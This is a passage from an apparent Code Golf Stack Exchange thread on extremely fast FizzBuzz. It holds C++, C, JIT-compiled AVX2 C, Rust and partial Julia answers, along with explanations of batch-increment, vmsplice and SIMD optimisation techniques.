auto increment = [&] (int num_lines) __attribute__((always_inline)) { int line_start = 0; #pragma GCC unroll 120 for (int64_t line = 0; line < num_lines; ++line) { if (IsFizzBuzzNumber(first_line_number_mod_15 + line)) { // In order for the compiler to generate efficient code, the // second and third params should be deducible to constants. // Since the loop is unrolled, the value of |line_start| is // known in every iteration. |start_index| is constexpr, so // its value is also known. IncrementNumber(out, line_start + start_index, OVERFLOW_DIGITS); } line_start += FizzBuzzLineLength((first_line_number_mod_15 + line) % 15); } // Since num_lines is a multiply of 120, the right hand side is a // multiply of 8 which ensures that |out| is aligned to 8 bytes // afterwards. out += FifteenerBytes() * num_lines / 15; }; for (int64_t i = 0; i < LinesInChunk() / 120; ++i) { increment(120); } increment(LinesInChunk() % 120); } // Returns whether this number is printed as-is ie. it's not a multiply of 3 // or 5. static constexpr bool IsFizzBuzzNumber(int64_t number) { return number % 3 != 0 && number % 5 != 0; } // Increments the number starting at base[line_start]. // |base| must be aligned to 8 bytes. The caller must guarantee that the // number of overflows that occur is |overflow_digits|. // For maximum performance, |line_start| should be deducible at compile // time. __attribute__((always_inline)) static inline void IncrementNumber(char* base, int64_t line_start, int overflow_digits) { int64_t right_most_digit_to_update_index = line_start + DIGITS - 1 - kSuffixDigits; // When overflow_digits is known at compile time, all the IncrementAt // calls that affect the same 8-byte integer are combined into 1 // instruction by the compiler. IncrementAt(base, right_most_digit_to_update_index, kIncrementBy); #pragma GCC unroll 100 for (int i = 0; i < overflow_digits; ++i) { IncrementAt(base, right_most_digit_to_update_index, -10); IncrementAt(base, right_most_digit_to_update_index - 1, 1); right_most_digit_to_update_index--; } } // Increments the byte at |index| in |base| by |by|. // |base| must by aligned to 8 bytes. // For maximum performance, |index| and |by| should be deducible by the // compiler to constants. __attribute__((always_inline)) static inline void IncrementAt(char* base, int64_t index, char by) { union char_array_int64 { char ch[8]; int64_t int64; }; auto base_as_union = reinterpret_cast<char_array_int64*>(base); // The code below only works on little endian systems. static_assert(std::endian::native == std::endian::little); // Increment the character at index |index| by |by|. This works because // we can guarantee that the character won't overflow. base_as_union[index / 8].int64 += static_cast<int64_t>(by) << ((index % 8) * 8); } // Returns the number of digits that will overflow when incrementing // |prefix| by |kIncrementBy|. // Eg. if kIncrementBy = 3: // OverflowDigits(100) = 0 (no digits overflow) // OverflowDigits(108) = 1 (8 overflows and 0 is incremented by 1) // OverflowDigits(198) = 2 (8 overflows and 9 overflows) static int OverflowDigits(int64_t prefix) { int incremented = prefix + kIncrementBy; #pragma GCC unroll 2 for (int i = 0; i < 20; ++i) { incremented /= 10; prefix /= 10; if (incremented == prefix) { return i; } } return 20; } Batch<BATCH_ID> batch_; }; }; } // namespace int main() { OutputHandler output_handler; [&]<std::size_t... I>(std::index_sequence<I...>){ (Run<I + 1>::Execute(output_handler), ...); }(std::make_index_sequence<18>()); return 0; } ``` ## The algorithm I reuse some of the ideas from [ais523's answer](https://codegolf.stackexchange.com/a/236630/7251), namely: * using vmsplice for zero-copy output into the pipe * aligning the output buffers to 2MB and using huge pages ### Definitions * line number: the id of each line starting with 1, 2, ... * mod: the line number mod 15 * fizzbuzz line: one line of output * fizzbuzz function: a function that translates the line number to a fizzbuzz line according to the fizzbuzz logic * number line: a line of output which is a number (and not fizz, buzz or fizzbuzz) * fifteener: 15 lines of consecutive output * batch: 1,000,000 lines of consecutive output * run: consecutive output where the line numbers have the same number of digits in base 10, eg. run(6) is the output for line numbers: 100000 ... 999999 ### A few observations **Observation 1:** within each fifteener, the number lines are always at the same indices, namely at indices 1, 2, 4, 7, 8, 11, 13 and 14 **Observation 2:** each run with 2+ digits contains a whole number of fifteeners **Observation 3:** each run with 2+ digits starts with mod = 10 because 10^N ≡ 10 (mod 15) for N > 0 **Observation 4:** if we have 3 batches (3,000,000 lines) of output in a buffer, we can get the next 3 batches by incrementing the 6th digit (0-indexed) from the right of each number line by 3 in each batch. We can keep other digits untouched. We'll call the last 6 digits of the number *suffix digits*, since these will never change in a run. The fizz/buzz/fizzbuzz lines are also untouched. For example the first batch of run(9) looks like this: ``` BUZZ 100000001 FIZZ 100000003 100000004 FIZZBUZZ ... FIZZ 100999999 ``` Second batch of run(9): ``` BUZZ FIZZ 101000002 101000003 ... 101999998 101999999 ``` Third batch of run(9): ``` FIZZBUZZ 102000001 102000002 FIZZ ... 102999998 FIZZ ``` We can get the fourth batch by incrementing the first batch by 3,000,000: ``` BUZZ 103000001 FIZZ 103000003 103000004 FIZZBUZZ ... FIZZ 105999999 ``` Incrementing single digits is much faster than recomputing the numbers every time. We only need to maintain three buffers for the three batches and keep incrementing numbers by 3,000,000. It's important to note that the number lines in the buffer contain the string representation of the numbers, eg. 103000003 is actually `['1','0','3','0','0','0','0','0','3']` = `[49, 48, 51, 48, 48, 48, 48, 48, 51]`. Incrementing by 3,000,000 means incrementing the 6th digit (0-indexed) from the right by 3. Using three buffers also has an addition benefit: we can put up to two buffers into the pipe for the downstream process to read from (see vmsplice and [this article](https://mazzo.li/posts/fast-pipes.html)) and update the third buffer in the meantime. The basic algorithm is as follows: ``` for run in 1..19: initialize batch0 with fizz buzz lines between 10^(run-1) and 10^(run-1) + 999,999 output batch0 initialize batch1 with fizz buzz lines between 10^(run-1) + 1,000,000 and 10^(run-1) + 1,999,999 output batch1 initialize batch2 with fizz buzz lines between 10^(run-1) + 2,000,000 and 10^(run-1) + 2,999,999 output batch2 for batch in 3..(number of batches in run): increment batch0 output batch0 increment batch1 output batch1 increment batch2 output batch2 ``` The algorithm is fast because the increment operation (which is where most of the time is spent) can be optimized really well. ### Overflows and carry A major complication in the above algorithm is when a digit overflows. For example, if we increment the digit '8' in 108399977 by 3, the result is not a digit, so we have to take care of the overflow. We do this by first incrementing '8' by 3, then subtracting 10 and adding 1 to the '0' before the '8' (which is pretty much the process how we'd do it on paper). Furthermore, it can happen that more than even the digit before overflows, e.g. if the number is 198399977. In this case, we: * add 3 to '8' * subtract 10 from '8' + 3 * add 1 to '9' * subtract 10 from '9' + 1 * add 1 to '1' The final result is 201399977. However, checking in each iteration whether an overflow has occurred is pretty slow. This is where batches are useful once again. Since a batch is 1,000,000 lines of output, all numbers in a batch share a common prefix. ``` 122|531269 ------ suffix (last 6 digits) --- prefix (all previous digits) ``` As mentioned above, the suffixes are never touched after the initialization. We only increment the prefix. The nice property of a batch is that all numbers in a batch overflow the same way, therefore we only have to check once per chunk, how many digits will need to be updated for each number. We call this the overflow count. We get extra performance gains by incrementing each batch from multiple threads. One section of a batch updated by a thread is called a **chunk**. ## C++ tricks After discussing the algorithm, here are a few ideas that make this algorithm particularly fast: ### 8 is better than 1 Previously we talked about incrementing single characters in the buffer but CPUs can work with 8-byte integers faster than with 1-byte integers. Furthermore, if we have to update multiple digits because of overflow, updating 8 bytes at once will reduce the number of instructions. For this to work, a requirement is that the integers must be aligned at 8 bytes, so we need to know where the 8-byte boundaries are. Consider the number 12019839977 where we want to add 6 to the digit '8' (and handle overflow). Let's assume that the (one-byte) indexes mod 8 are as follows: ``` output: X Y 1 2 0 1 9 8 3 9 9 7 7 index mod 8: 0 1 2 3 4 5 6 7 0 1 2 3 4 ``` `X Y` is the last two bytes before this number. Let's call the address of `X` `base`. This address is aligned to 8 bytes. Instead of updating the single bytes at (`base + 7`), (`base + 6`) and (`base + 5`), we can update the 8 bytes in a single operation using bit shifts. On little endian systems (like x86) where the least significant byte is at the lowest address, this translates to: ``` base[index \ 8] += 1 << (5 * 8) | (1 - 10) << (6 * 8) | (6 - 10) << (7 * 8) ^ ^ index mod 8 = 5 increment by 1 - 10 (add carry and handle overflow) ``` Each update we want to do to the numbers is OR-d together. What's even better is that even if we write individual instructions, the compiler is smart enough to compile it to a single expression as long as the right handsides are compile-time constants: ``` base[index \ 8] += 1 << (5 * 8); base[index \ 8] += (1 - 10) << (6 * 8); base[index \ 8] += (6 - 10) << (7 * 8); ``` Doing all these bit manipulations at runtime would be slower than just incrementing the numbers one byte at a time, so we'll be ... ### Using the compiler for maximum gains All the calculation needed for the previous step to work fast is done at compile time. A few more observations: * The first batch starts with mod 10, the second batch starts with mod 5, the batch chunk starts with mod 0. * The first batch is aligned at 8 bytes. We can calculate the length of each batch and chunk at compile time. Using C++ templates, we generate specialized code for each `(run digits, batch id, chunk id, overflows)` tuple. * run digits: the number of digits of each number line in this run * batch id: 0, 1 or 2 (see the Observation 4 above) * chunk id: to distinguish the chunk in the batch, [0, kParallelism) * overflow count: the number of digits that will overflow after incrementing the last digit of the prefix In order to support the compiler in generating branchless code, we aggressively unroll loops so conditions and calculations can be done at compile time. The price is a long compile time. If we inspect the generated assembly, we can see that the compiler generates specialized code which only contains add/sub instructions without any branches. ``` add QWORD PTR 8[rax], rdx sub QWORD PTR 40[rax], 1033 add QWORD PTR 32[rax], rdx add QWORD PTR 56[rax], r8 sub QWORD PTR 88[rax], 4 add QWORD PTR 80[rax], rsi sub QWORD PTR 104[rax], 67698432 sub QWORD PTR 128[rax], 67698432 sub QWORD PTR 160[rax], 4 [many more add/sub] ``` Most of the time, we only need 8 instructions for each fifteener. **Feedback / ideas for improvement welcome!** [Answer] I tweaked Neil's [code](https://codegolf.stackexchange.com/a/215231) a bit (so most credit goes to him) and managed to squeeze some more performance out of it; I also prepared it for unrolling more loops but ultimately I gave up (that's why the code is unreadable gobbledygook). ``` #include <stdio.h> #include <string.h> #include <unistd.h> #define f(Z) {char*p=q+=Z+l;if(*p<'7')*p+=3;else{*p---=7;while(*p=='9')*p--='0';++*p;}} #define v(N) {while(j<i){memcpy(t,buf,N);t+=n;if(t>=&out[65536]){char*u=out; \ do{int w=write(1,u,&out[65536]-u);if(w>0)u+=w;}while(u<&out[65536 \ ]);memcpy(out,out+65536,t-&out[65536]);t-=65536;}char*q=buf;f(4); \ f(7);f(2);f(11);f(2);f(7);f(12);f(2);f(12);f(7);f(2);f(11);f(2);f \ (7);f(12);f(2);j+=3;}} char buf[256]; char out[65536 + 4096] = "1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\n"; int main(void) { char *t = out + 30; unsigned long long i = 1, j = 1; for (int l = 1; l < 20; l++) { int n=sprintf(buf, "Buzz\n%llu1\nFizz\n%llu3\n%llu4\nFizzBuzz\n%llu6\n%llu7\nFizz\n%llu9\nBuzz\nFizz\n%llu2\n%llu3\nFizz\nBuzz\n%llu6\nFizz\n%llu8\n%llu9\nFizzBuzz\n%llu1\n%llu2\nFizz\n%llu4\nBuzz\nFizz\n%llu7\n%llu8\nFizz\n", i, i, i, i, i, i, i + 1, i + 1, i + 1, i + 1, i + 1, i + 2, i + 2, i + 2, i + 2, i + 2); i*=10; v(n); } return 0; } ``` On my PC, Neil's submission is ~5% slower. I also tried it on friend's Intel box and the tweaked version is faster. [Answer] Here is my attempt at using just-in-time compilation to emit fast FizzBuzz assembly that is specialized for every digit length. It's basically the same idea as Neil's answer, just more overengineered. A further 2x comes from the vmsplice system call as in the winning answer. While there are a few other similarities in the AVX2 code, the usage of vmsplice is the only bit that I downright "stole" from there; all the vector code is my own. The basic idea is to extract 32 bytes out of a prebuilt set of 32 characters that includes the current line number divided by ten (lo\_bytes), the digits 0-9 (hi\_bytes 0-9), the letters in Fizz and Buzz (hi\_bytes 11-15) and the newline character (hi\_bytes byte 10). There are some extra complications: * about half of the time the 32 bytes must be extracted in two steps, with the increment of lo\_bytes inserted between the two extractions. The alternation of "mov", "or", "store", "increment lo\_bytes" and "end of run" operations is stored as a kind of "bytecode". First, the program generates a string with the template of the FizzBuzz output for 30 consecutive numbers (30 is the LCM of 3, 5 and 10); then, to generate the bytecode, it operates on three substrings corresponding to 10 consecutive numbers. * the AVX2 vpshufb instruction operates on two "lanes" of 128 bits. Therefore it can only gather from bytes 0-15 into bytes 0-15, and from bytes 16-31 into bytes 16-31. It can also place a zero in any byte though, which comes in really handy. This is why there are separate "lo\_bytes" and "hi\_bytes". Each mask is split in two parts, one for the "lo\_bytes" and one for the "hi\_bytes"; each is vpshufb'ed while filling the bytes that come from the "wrong" character with a zero, and then the two parts are ORed together. I mentioned the bytecode before. There are two reasons why the program does not go directly to x86 code. First, going through bytecode simplifies noticeably the JIT compiler. Second, the JIT-compiled inner loop does not handle carry from byte 7 to byte 8 of the lo\_bytes (which happens every 10^9 numbers written); that part is handled by interpreting the bytecode. Actually, there's a third reason to have the bytecode, and it is possibly the most important even though it doesn't apply to the code submitted below. The bytecode approach separates very well the tasks of preprocessing (figuring out the exact sequence for each number length) and emitting output; therefore, during development I could first work on the preprocessor while keeping a stupid for loop for the output, then add vectorized C code (which actually survives in the slow path to handle carries), and finally generated the code on the fly. Of course the program was super slow until the introduction of the JIT, but being able to test AVX2 code in C is obviously much easier! The whole implementation only took about 6 hours, hence more optimization is probably possible (sizing the piping buffer, better scheduling of the x86 code, etc.). The hints about `taskset` and the same warnings about needing a "useless cat" apply to this program as well due to the use of vmsplice. The code is not super polished. Variable names are especially horrible, sorry about that. ``` /* * Author: Paolo Bonzini * gcc fb.c -o fb -O2 -g -mavx -mavx2 -flax-vector-conversions */ #define _GNU_SOURCE #include <sys/mman.h> #include <fcntl.h> #include <sys/uio.h> #include <unistd.h> #include <assert.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <immintrin.h> #include <avxintrin.h> #define F_SETPIPE_SZ 1031 #define ZERO 15 typedef uint8_t v32qi __attribute__((vector_size(32), aligned(32))); typedef uint8_t v32qi_u __attribute__((vector_size(32), aligned(1))); v32qi lo_bytes = { '1', '0', '0', '0', '0', '0', '0', '0', /* 0 */ '0', '0', '0', '0', '0', '0', '0', '\0', /* 8 */ '1', '0', '0', '0', '0', '0', '0', '0', /* 0 */ '0', '0', '0', '0', '0', '0', '0', '\0', /* 8 */ }; uint8_t hi_bytes[16] = { '0', '1', '2', '3', '4', '5', '6', '7', /* 16 */ '8', '9', '\n', 'z', 'u', 'B', 'i', 'F', /* 24 */ }; static v32qi biased_zero = { 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, }; static v32qi biased_line = { 247, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 247, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, 246, }; static v32qi incr_low_mask = { 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; static v32qi incr_high_mask = { 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, }; #define OUTPUT_SIZE(n) (94+16*n) #define TEMPLATE_SIZE(n) ((OUTPUT_SIZE(n) + 31) & ~31) #define MAX 15 #define OUTBUF_SIZE 1048576 static uint8_t template[TEMPLATE_SIZE(MAX)]; static uint8_t *output1; static uint8_t *output2; static uint8_t *output; #define BOUNDARY (output + OUTBUF_SIZE) static v32qi mask[26]; static v32qi *mask_ptr; static uint8_t code_buffer[64]; static uint8_t *code_ptr; static uint8_t *jit_buffer; static uint8_t *jit_ptr; typedef uint8_t *jit_fn(uint8_t *, int); /* * Bytecode language: * 0 = mov 32 bytes into temp buffer from the next mask * 1 = or 32 bytes into temp buffer from the next mask * 2 = increment the line * 3 = store 32 bytes from temp buffer * -32..-1 = add n to the output pointer */ static void gen_prolog(void) { code_ptr = code_buffer; mask_ptr = mask; } static void gen_epilog(int template_size) { *code_ptr++ = 3; *code_ptr++ = (template_size & 31) - 32; } static void do_gen_or_code(int from) { assert(mask_ptr - mask < sizeof(mask) / sizeof(mask[0])); // o[i++] |= out_bytes[template[from + i]]; for (int i = 0; i < 32; i++) { uint8_t m = template[from + i]; if (m < 16) { mask_ptr[0][i] = m; mask_ptr[1][i] = 0; } else { mask_ptr[0][i] = -1; mask_ptr[1][i] = hi_bytes[m - 16]; } } *code_ptr++ = 1; mask_ptr += 2; } static void do_gen_mov_code(int from, int to) { assert(mask_ptr - mask < sizeof(mask) / sizeof(mask[0])); // o[i++] = out_bytes[template[from + i]]; for (int i = 0; i < 32; i++) { uint8_t m = (from + i > to) ? ZERO : template[from + i]; if (m < 16) { mask_ptr[0][i] = m; mask_ptr[1][i] = 0; } else { mask_ptr[0][i] = -1; mask_ptr[1][i] = hi_bytes[m - 16]; } } *code_ptr++ = 0; mask_ptr += 2; } static void gen_inc_code(void) { *code_ptr++ = 2; } static void gen_out_code(int from, int to) { int offset = from & ~31; if (offset < from) { assert(to >= offset + 32); do_gen_or_code(offset); offset += 32; *code_ptr++ = 3; } while (offset < to) { do_gen_mov_code(offset, to); offset += 32; if (offset <= to) *code_ptr++ = 3; } memset(template + from, ZERO, to - from); } static void inc_line(v32qi incr_mask) { v32qi old = biased_line; v32qi incr = _mm256_add_epi64((__m256i)incr_mask, (__m256i)old); biased_line = _mm256_max_epu8(incr, biased_zero); lo_bytes += biased_line - old; } static v32qi do_shuffle(v32qi *mask) { v32qi digits = __builtin_ia32_pshufb256(lo_bytes, mask[0]); return digits | mask[1]; } static uint8_t *maybe_output(uint8_t *o) { if (o > output + OUTBUF_SIZE) { #if 1 struct iovec iov = {output, OUTBUF_SIZE}; do { ssize_t r = vmsplice(1, &iov, 1, 0); if (r < 0) { perror("vmsplice"); exit(1); } iov.iov_base += r; iov.iov_len -= r; } while (iov.iov_len); #else write(1, output, OUTBUF_SIZE); #endif if (output == output1) { memcpy(output2, BOUNDARY, o - BOUNDARY); o = output2 + (o - BOUNDARY); output = output2; } else { memcpy(output1, BOUNDARY, o - BOUNDARY); o = output1 + (o - BOUNDARY); output = output1; } } return o; } static uint8_t *slow_run(uint8_t *o, int carry) { const uint8_t *p; v32qi *m = mask; v32qi temp; for (p = code_buffer; p < code_ptr; p++) { uint8_t c = *p; if (c == 0) { temp = do_shuffle(m); m += 2; } else if (c == 1) { temp |= do_shuffle(m); m += 2; } else if (c == 3) { *(v32qi_u *)o = temp; o += 32; } else if (c == 2) { inc_line(incr_low_mask); if (--carry == 0) inc_line(incr_high_mask); } else { o += (int8_t) c; } } return maybe_output(o); } #define o(b) (*jit_ptr++ = (0x##b)) #define s(p) jit_ptr += ({ uint32_t x = (uintptr_t)p - (uintptr_t)(jit_ptr + 4); memcpy(jit_ptr, &x, 4); 4; }) #define d(i) jit_ptr += ({ uint32_t x = (i); memcpy(jit_ptr, &x, 4); 4; }) void compile(void) { const uint8_t *p, *label; v32qi *m = mask; int ofs = 0; jit_ptr = jit_buffer; o(C5),o(FD),o(6F),o(05),s(&lo_bytes); // vmovdqa ymm0, lo_bytes o(C5),o(FD),o(6F),o(15),s(&biased_line); // vmovdqa ymm2, biased_line o(C5),o(FD),o(6F),o(1D),s(&biased_zero); // vmovdqa ymm3, biased_zero o(C5),o(FD),o(6F),o(25),s(&incr_low_mask); // vmovdqa ymm4, incr_low_mask /* in inc_line, lo_bytes - old is always the same. Put it in ymm1. */ o(C5),o(FD),o(F8),o(CA); // vpsubb ymm1, ymm0, ymm2 label = jit_ptr; for (p = code_buffer; p < code_ptr; p++) { uint8_t c = *p; if (c == 0) { o(C5),o(FD),o(6F),o(35),s(m); // vmovdqa ymm6, MASK m++; o(C5),o(FD),o(6F),o(2D),s(m); // vmovdqa ymm5, MASK m++; o(C4),o(E2),o(7D),o(00),o(F6); // vpshufb ymm6, ymm0, ymm6 o(C5),o(D5),o(EB),o(EE); // vpor ymm5, ymm5, ymm6 } else if (c == 1) { o(C5),o(FD),o(6F),o(35),s(m); // vmovdqa ymm6, MASK m++; o(C5),o(FD),o(6F),o(3D),s(m); // vmovdqa ymm7, MASK m++; o(C4),o(E2),o(7D),o(00),o(F6); // vpshufb ymm6, ymm0, ymm6 o(C5),o(D5),o(EB),o(EF); // vpor ymm5, ymm5, ymm7 o(C5),o(D5),o(EB),o(EE); // vpor ymm5, ymm5, ymm6 } else if (c == 3) { o(C5),o(FE),o(7F),o(AF),d(ofs); // vmovdqu [rdi+NNN], ymm5 ofs += 32; } else if (c == 2) { o(C5),o(ED),o(D4),o(D4); // vpaddq ymm2, ymm2, ymm4 o(C5),o(ED),o(DE),o(D3); // vpmaxub ymm2, ymm2, ymm3 o(C5),o(F5),o(FC),o(C2); // vpaddb ymm0, ymm1, ymm2 } else { ofs += (int8_t) c; } } o(48),o(81),o(C7),d(ofs); // add rdi, ofs o(FF),o(CE); // dec esi o(0F),o(85),s(label); // jnz label o(48),o(89),o(F8); // mov rax, rdi o(C5),o(FD),o(7F),o(05),s(&lo_bytes); // vmovdqa lo_bytes, ymm0 o(C5),o(FD),o(7F),o(15),s(&biased_line); // vmovdqa biased_line, ymm2 o(C3); // ret } #define INITIAL "1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\n" #define TENS_FOR_VPADDQ (10000 * 10000) int main() { uint8_t shuffle[] = { 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, 16, 26 }; const uint8_t fizz[] = { 31, 30, 27, 27, 26 }; const uint8_t fizzbuzz[] = { 31, 30, 27, 27, 29, 28, 27, 27, 26 }; const uint8_t *buzz = fizzbuzz + 4; int l; uint64_t n; uint32_t tens_till_carry = TENS_FOR_VPADDQ - 1; output1 = mmap(NULL, OUTBUF_SIZE + 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); output2 = mmap(NULL, OUTBUF_SIZE + 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); output = output1; uint8_t *o = mempcpy(output, INITIAL, strlen(INITIAL)); fcntl(1, F_SETPIPE_SZ, OUTBUF_SIZE); memset(template, ZERO, sizeof(template)); jit_buffer = mmap(NULL, 16384, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_32BIT|MAP_PRIVATE|MAP_ANON, -1, 0); assert((uintptr_t)mask <= 0x7FFFFFFF); assert((uintptr_t)jit_buffer <= 0x7FFFFFFF); for (l = 2, n = 3; l <= MAX; l++, n = n * 10) { int output_size = OUTPUT_SIZE(l); int template_size = TEMPLATE_SIZE(l); uint8_t *s = shuffle + sizeof(shuffle) - l - 1; uint8_t *p = template; #define ZERO_UNITS s[l - 1] = 16; #define INC_UNITS s[l - 1]++; ZERO_UNITS; p = mempcpy(p, buzz, 5); // 10 INC_UNITS; p = mempcpy(p, s, l + 1); // 11 INC_UNITS; p = mempcpy(p, fizz, 5); // 12 INC_UNITS; p = mempcpy(p, s, l + 1); // 13 INC_UNITS; p = mempcpy(p, s, l + 1); // 14 INC_UNITS; p = mempcpy(p, fizzbuzz, 9); // 15 INC_UNITS; p = mempcpy(p, s, l + 1); // 16 INC_UNITS; p = mempcpy(p, s, l + 1); // 17 INC_UNITS; p = mempcpy(p, fizz, 5); // 18 INC_UNITS; p = mempcpy(p, s, l + 1); // 19 ZERO_UNITS; p = mempcpy(p, buzz, 5); // 20 INC_UNITS; p = mempcpy(p, fizz, 5); // 21 INC_UNITS; p = mempcpy(p, s, l + 1); // 22 INC_UNITS; p = mempcpy(p, s, l + 1); // 23 INC_UNITS; p = mempcpy(p, fizz, 5); // 24 INC_UNITS; p = mempcpy(p, buzz, 5); // 25 INC_UNITS; p = mempcpy(p, s, l + 1); // 26 INC_UNITS; p = mempcpy(p, fizz, 5); // 27 INC_UNITS; p = mempcpy(p, s, l + 1); // 28 INC_UNITS; p = mempcpy(p, s, l + 1); // 29 ZERO_UNITS; p = mempcpy(p, fizzbuzz, 9); // 30 INC_UNITS; p = mempcpy(p, s, l + 1); // 31 INC_UNITS; p = mempcpy(p, s, l + 1); // 32 INC_UNITS; p = mempcpy(p, fizz, 5); // 33 INC_UNITS; p = mempcpy(p, s, l + 1); // 34 INC_UNITS; p = mempcpy(p, buzz, 5); // 35 INC_UNITS; p = mempcpy(p, fizz, 5); // 36 INC_UNITS; p = mempcpy(p, s, l + 1); // 37 INC_UNITS; p = mempcpy(p, s, l + 1); // 38 INC_UNITS; p = mempcpy(p, fizz, 5); // 39 memset(p, ZERO, template + template_size - p); gen_prolog(); gen_out_code(0, 30+6*l); gen_inc_code(); gen_out_code(30+6*l, 60+11*l); gen_inc_code(); gen_out_code(60+11*l, 94+16*l); gen_inc_code(); gen_epilog(94+16*l); compile(); uint64_t left = n; do { int runs; if (tens_till_carry <= 3) { if (tens_till_carry == 0) { inc_line(incr_high_mask); runs = 0; } else { o = slow_run(o, tens_till_carry); runs = 1; } tens_till_carry += TENS_FOR_VPADDQ; } else { runs = (BOUNDARY - o) / output_size + 1; if (runs > left) runs = left; if (runs * 3 > tens_till_carry) runs = tens_till_carry / 3; o = ((jit_fn *)jit_buffer) (o, runs); o = maybe_output(o); } left -= runs; tens_till_carry -= runs * 3; } while (left); } write(1, output, o - output); } ``` Last minute add: here is how the number of source code lines grew as the bells and whistles were added. Handling the pesky carry is more work than the JIT compiler! ``` 227 basic implementation 252 rewrite mask operations as AVX2 253 add store bytecode 258 move loop inside the run function 276 increment line number using AVX 332 handle carry over 10^8 377 generate custom AVX2 code for each length 404 use the "vmsplice" system call ``` [Answer] Coded in rust- modern languages can be fast too. Build with `cargo build --release`\* and run with `./target/release/fizz_buzz`. The count goes up by 15 every iteration of the loop. The itoap crate is used to quickly write integers to the buffer. Adds 15 line chunks to an array unless there isn't enough space left in the buffer for a max-sized chunk, and when that happens it flushes the buffer to stdout. main.rs: ``` use std::io::*; use itoap::Integer; const FIZZ:*const u8 = "Fizz\n".as_ptr(); const BUZZ:*const u8 = "Buzz\n".as_ptr(); const FIZZBUZZ:*const u8 = "FizzBuzz\n".as_ptr(); const BUF_SIZE:usize = 1024*256; const BLOCK_SIZE:usize = 15 * i32::MAX_LEN; /// buf.len() > count macro_rules! itoap_write{ ($buf:ident,$count:ident,$num:ident)=>{ $count += itoap::write_to_ptr( $buf.get_unchecked_mut($count..).as_mut_ptr(), $num ); $buf.as_mut_ptr().add($count).write(b'\n'); $count += 1; } } ///ptr must be valid, buf.len() > count, ptr.add(len) must not overflow buffer macro_rules! str_write{ ($buf:ident,$count:ident,$ptr:ident,$len:literal)=>{ let ptr = $buf.get_unchecked_mut($count..).as_mut_ptr(); ptr.copy_from_nonoverlapping($ptr,$len); $count += $len; } } fn main() -> Result<()>{ let mut write = stdout(); let mut count:usize = 0; let mut buf = [0u8;BUF_SIZE]; let mut i:i32 = -1; loop{ if &count + &BLOCK_SIZE > BUF_SIZE{ unsafe{ write.write_all( buf.get_unchecked(..count) )?; } count = 0; } i += 2; unsafe{ itoap_write!(buf,count,i); i += 1; itoap_write!(buf,count,i); str_write!(buf,count,FIZZ,5); i += 2; itoap_write!(buf,count,i); str_write!(buf,count,BUZZ,5); str_write!(buf,count,FIZZ,5); i += 3; itoap_write!(buf,count,i); i += 1; itoap_write!(buf,count,i); str_write!(buf,count,FIZZ,5); str_write!(buf,count,BUZZ,5); i += 3; itoap_write!(buf,count,i); str_write!(buf,count,FIZZ,5); i += 2; itoap_write!(buf,count,i); i += 1; itoap_write!(buf,count,i); str_write!(buf,count,FIZZBUZZ,9); } } } ``` Cargo.toml: ``` [package] name = "fizz_buzz" version = "0.1.0" authors = ["aiden4"] edition = "2018" [dependencies] itoap = "0.1" [[bin]] name = "fizz_buzz" path = "main.rs" [profile.release] lto = "fat" ``` \*requires cargo to be able to connect to the internet [Answer] # Julia (v1.10) Run with `julia fizzbuzz.jl | pv > /dev/null`. I'm getting 8-10 GiB/s throughput. Notes: * This supports at most 16 digits for the line number, which on my machine theoretically takes a day to reach. * This uses `vmsplice()` as popularized by ais523. * The buffer and page size count are hardcoded for my own machine, a Dell XPS with a 4 core / 8 threads Core i7-10510U CPU @ 1.80GHz. ``` const PAGESIZE = 4096 const L2_CACHE_SIZE = 256 * PAGESIZE const BUFSIZE = L2_CACHE_SIZE ÷ 2 """ ShortString("foo") Represents a string that's short enough to fit entirely in a UInt128. We take advantage of that by doing arithmetic on the UInt128 for enumerating the decimal representation of the line numbers. """ struct ShortString val :: UInt128 len :: Int end ShortString(s::String) = begin @assert length(s) <= sizeof(UInt128) s_padded = s * "\0" ^ sizeof(UInt128) val = unsafe_load(Ptr{UInt128}(pointer(s_padded))) ShortString(val, length(s)) end Base.length(s::ShortString) = s.len Base.:+(s::ShortString, x::Integer) = ShortString(s.val + x, s.len) Base.:-(a::ShortString, b::ShortString) = begin @assert length(a) == length(b) a.val - b.val end concat(s::ShortString, a::Char) = begin newval = (s.val << 8) | UInt8(a) ShortString(newval, s.len + 1) end """ StaticBuffer(size) Represents a simple byte array together with its next index. This struct is non-mutable, and instead of updating `ptr` in place, we replace it with a new StaticBuffer (see the `put` implementation). This has experimentally been much faster; I think the compiler can apply more optimizations when it keeps the struct on the stack. """ struct StaticBuffer buf :: Vector{UInt8} ptr :: Ptr{UInt128} end StaticBuffer(size) = begin buf = Vector{UInt8}(undef, size) ptr = pointer(buf) StaticBuffer(buf, ptr) end Base.length(buffer::StaticBuffer) = buffer.ptr - pointer(buffer.buf) Base.pointer(buffer::StaticBuffer) = buffer.ptr Base.truncate(buffer::StaticBuffer) = StaticBuffer(buffer.buf, pointer(buffer.buf)) put(buffer::StaticBuffer, s::ShortString) = begin unsafe_store!(buffer.ptr, s.val) StaticBuffer(buffer.buf, buffer.ptr + s.len) end almostfull(buffer::StaticBuffer) = begin length(buffer.buf) - (buffer.ptr - pointer(buffer.buf)) < PAGESIZE end """ withpipefd(f, io::IO, args...; kwds...) Run `f` with a file descriptor (`::RawFD`) that is known to be a pipe; if `io` isn't a pipe already, we insert a dummy `cat` process. This allows us to use `vmsplice` which is much faster in the benchmark setup than `write`. """ withpipefd(f, 